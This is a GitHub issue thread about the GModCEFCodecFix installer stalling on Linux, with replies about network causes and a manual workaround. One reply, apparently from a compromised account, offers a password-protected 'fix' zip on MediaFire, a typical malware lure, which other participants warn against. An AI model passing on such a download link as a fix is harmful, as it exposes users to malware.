Installation is incredibly slow, and gets stuck.

Whenever I run the script on Linux Mint 22 (Wilma), with GMOD installed on an external drive (mounted) It gets stuck at GModCEFCodecFix Created by: Solstice Game Studios How To Guide/FAQ: https://www.solsticegamestudios.com/fixmedia/ Contact Us: Discord: https://www.solsticegamestudios.com/discord/ Email: [email protected]

Getting remote version... for a very long time, then it detects the installation and stuff, but gets 100% stuck there. What should I do?

Please don't download from any of the links they're sending. Someone will help when possible. I'm at work.

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

It’s not even bots unfortunately, my account got compromised for example.. I’m deleting all the comments from my side currently. Very sorry about that

Okay so, if it takes forever getting the remote version or downloading the patch files, it means your connection to GitHub is slow for some reason.

Could be general internet connection issues, or issues along the route between you and GitHub. Using a VPN might help, but other than that, not much can be done.

I'll try using warp-cli later and then update, hopefully it helps

Tried with WARP, it's the same. What the heck is wrong?

  • everything else works well and is fast, including github itself

Hmmm. Maybe you have IPv6 enabled but your ISP doesn't support it/it isn't set up correctly?

No idea.. Is there some alternative way to install this? I don't mind if it's a little harder, I really want to get this working somehow, heh

You could manually download the repo and put the BSDIFF files in CEFCodecFix's cache folder for it to pick up. On Linux, that'll be $XDG_CACHE_HOME/GModCEFCodecFix/

This should be addressed somewhat by the rewrite, and the latest release: https://github.com/solsticegamestudios/GModPatchTool/releases

The rewrite automatically uses a backup web server if the tool can't connect to GitHub, or has errors while downloading the patch files.

Closing in favor of #185, since that refers to GModPatchTool's experience with this issue.
